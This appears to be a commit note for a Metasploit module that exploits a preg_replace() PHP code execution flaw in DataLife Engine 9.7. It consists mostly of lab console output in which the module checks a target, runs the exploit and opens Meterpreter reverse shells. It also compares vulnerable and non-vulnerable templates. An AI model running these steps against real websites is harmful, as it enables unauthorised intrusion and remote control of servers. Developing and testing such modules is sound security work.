added template stuff improve

According to EgiX, it isn't needed which the vulnerable template is in use, its sufficient if there its installed, since the template can be specified with the dle_skin cookie parameter. The module has been modified to have it into account.

* Vulnerable template (Default):

```
msf > use exploit/unix/webapp/datalife_preview_exec 
msf  exploit(datalife_preview_exec) > reload
[*] Reloading module...
msf  exploit(datalife_preview_exec) > show options

Module options (exploit/unix/webapp/datalife_preview_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        Use a proxy chain
   RHOST                       yes       The target address
   RPORT      80               yes       The target port
   TARGETURI  /                yes       The base path to the web application
   TEMPLATE   Default          yes       Template with catlist or not-catlit tag
   VHOST                       no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   DataLife Engine 9.7


msf  exploit(datalife_preview_exec) > set TARGETURI /upload
TARGETURI => /upload
msf  exploit(datalife_preview_exec) > set RHOST 192.168.1.131
RHOST => 192.168.1.131
msf  exploit(datalife_preview_exec) > check
[+] The target is vulnerable.
msf  exploit(datalife_preview_exec) > exploit

[*] Started reverse handler on 192.168.1.128:4444 
[*] 192.168.1.131:80 - Exploiting the preg_replace() to execute PHP code
[*] Sending stage (39217 bytes) to 192.168.1.131
[*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.131:42124) at 2013-02-01 11:50:19 +0100
^C[-] Exploit failed: Interrupt 

meterpreter > exit
[*] Shutting down Meterpreter...


```

* Not vulnerable template (juan):

```

msf  exploit(datalife_preview_exec) > set TEMPLATE juan
TEMPLATE => juan
msf  exploit(datalife_preview_exec) > check
[*] The target is not exploitable.
msf  exploit(datalife_preview_exec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.128:4444 
[*] 192.168.1.131:80 - Exploiting the preg_replace() to execute PHP code
[*] Exploit completed, but no session was created.
msf  exploit(datalife_preview_exec) > set TEMPLATE Default
TEMPLATE => Default
msf  exploit(datalife_preview_exec) > check
[+] The target is vulnerable.
msf  exploit(datalife_preview_exec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.128:4444 
[*] 192.168.1.131:80 - Exploiting the preg_replace() to execute PHP code
[*] Sending stage (39217 bytes) to 192.168.1.131
[*] Meterpreter session 2 opened (192.168.1.128:4444 -> 192.168.1.131:42125) at 2013-02-01 11:51:48 +0100
^C[-] Exploit failed: Interrupt 

meterpreter > exit

```